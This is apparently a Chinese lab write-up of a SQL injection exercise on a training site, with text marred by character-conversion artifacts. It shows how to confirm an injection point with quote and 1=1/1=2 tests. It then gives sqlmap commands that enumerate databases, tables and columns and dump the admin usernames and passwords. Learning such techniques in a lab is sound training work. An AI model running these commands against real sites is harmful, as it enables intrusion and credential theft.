實訓(xùn)中學(xué)習(xí)了一下sql注入。于是在i春秋發(fā)現(xiàn)了簡單的sql注入于是就做的玩了玩。
【無處不在的SQL注入】
下面是一些總結(jié):
第一步 手工檢測判斷注入點
在網(wǎng)站中查找一個url中帶有id 的網(wǎng)址
http://www.test.ichunqiu/Art_Show.php?id=2
首先在id=2后面加一個單引號來判斷這是否是一個注入點,返回了一個錯誤提示更新點擊數(shù)出現(xiàn)錯誤!。現(xiàn)在替換一個注入查詢語句換成 and 1=1,頁面并沒有出現(xiàn)變化再換成 and 1=2返回一個錯誤提示。
提示:
這里出現(xiàn)了一個錯誤提示,更新點擊數(shù)出現(xiàn)錯誤,這樣說明我們輸入的and 1=1 和and 1=2在數(shù)據(jù)庫內(nèi)執(zhí)行了,因為and 1=1這條查詢語句就永為真,它就會繼續(xù)執(zhí)行,and 1=2 這條語句就為假,查詢語句無法繼續(xù)執(zhí)行,就會返回錯誤,這樣我們就可以初步判斷這個url地址是一個注入點。
第二步 利用sqlmap對注入點進行注入
首先找到文件sqlmap.py所在文件夾,然后在cmd運行
python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2"
返回信息:
返回信息提示這是一個注入點并且返回對方系統(tǒng)的信息,系統(tǒng)是windows
,Web容器是apache2.4.9
版本,語言php5.2.17
版本,目標數(shù)據(jù)庫是mysql5.0.11
版本。
第三步 獲取數(shù)據(jù)庫內(nèi)信息
- 獲取有多少個database
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" --dbs
返回信息:
獲取數(shù)據(jù)庫內(nèi)所有數(shù)據(jù)庫的名稱,返回信息目標數(shù)據(jù)庫內(nèi)有四個數(shù)據(jù)庫mys
,mysql
,test
,information_schema
。- 查看網(wǎng)站所依賴的數(shù)據(jù)庫的名稱
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" --current–db
返回信息:
當(dāng)前使用的數(shù)據(jù)庫是mys
- 獲取指定數(shù)據(jù)庫內(nèi)表的信息
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" -D mys --tables
返回信息:
- 獲取指定數(shù)據(jù)庫內(nèi)表的字段信息
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" -D mys -T zzcms_admin --columns
返回信息:
- 獲取獲取指定數(shù)據(jù)庫內(nèi)表的特定字段內(nèi)容信息
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" -D mys -T zzcms_admin –C name,password --dump
返回信息: